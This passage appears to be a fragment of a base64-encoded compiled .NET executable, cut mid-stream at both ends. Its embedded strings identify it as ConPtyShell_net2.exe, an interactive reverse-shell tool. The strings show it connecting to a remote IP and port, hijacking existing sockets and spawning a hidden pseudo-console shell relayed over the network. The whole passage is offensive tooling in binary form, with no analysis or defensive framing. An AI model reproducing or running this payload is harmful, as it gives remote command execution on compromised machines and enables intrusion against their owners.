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AABAIgPAAACAJsPAAADAKcPAAAEALYPAAAFAMIPAgAGANIPAAABAOoPAAABAPcPAAABAAsQAAACABIQAAABABkQAAABABkQAAACACEQAAADAAsQAAABACoQAAABADwQAgACAE4QAAABAGEQAAACAG4QAAADAHgQAQABAIUQAQACAJ8QAQADAKoQAAAEALcQAAAFAMYQAAAGAHkNAAABAM0QAAACAM8QAAADANQQAAABANwQAAACAAkOAAADAG4QACAAAAAAAAABAAsRAAACACARAAADAC4RAgAEAEMRAAAFAFIRACAGAAkOAAAHAGIRAAABAFwPAAABAHYRAAACAIMRAAADAJQRAAAEAKMRAAAFALURAAABAMIRAAACANkRAAADAOsRAAAEALURAAABAAMSAAACAA0SAAABADkSAAACAAMSAAADAA0SAAABAHYSAAABAGEQAAACAAYTAAABAHYSAAABAEsTAAACAFkTAAADAHETAAAEAIQTAgAFALURAAABAKgTAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUVAAAGACsVAAAHAEAVAAABAE4VAgACAFQVAAADAF0VAgAEAHIVAAAFAIYVAAABAE4VAAACAFQVAAADAJMVAgAEAKkVAAAFAIYVAAABAMAVAAACAMUVAAADAMwVAAAEAHkNAgAFANQVAAABANkVAAABAN0VAAACAOwVAAABADkSAgACAOwVACAAAAAAAAABAPwVAAACAAEWAAABAAoWAAABACAWAAACACgWAQABAIUQAQACAJ8QAQADAKoQAQAEADEWA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WxwZXIATFBUSFJFQURfU1RBUlRfUk9VVElORQBTb2NrZXRIaWphY2tpbmcAU1lTVEVNX0hBTkRMRQBPQkpFQ1RfSU5GT1JNQVRJT05fQ0xBU1MAT0JKRUNUX05BTUVfSU5GT1JNQVRJT04AVU5JQ09ERV9TVFJJTkcAUHJvY2Vzc0FjY2Vzc0ZsYWdzAFdTQURhdGEAV1NBUFJPVE9DT0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcA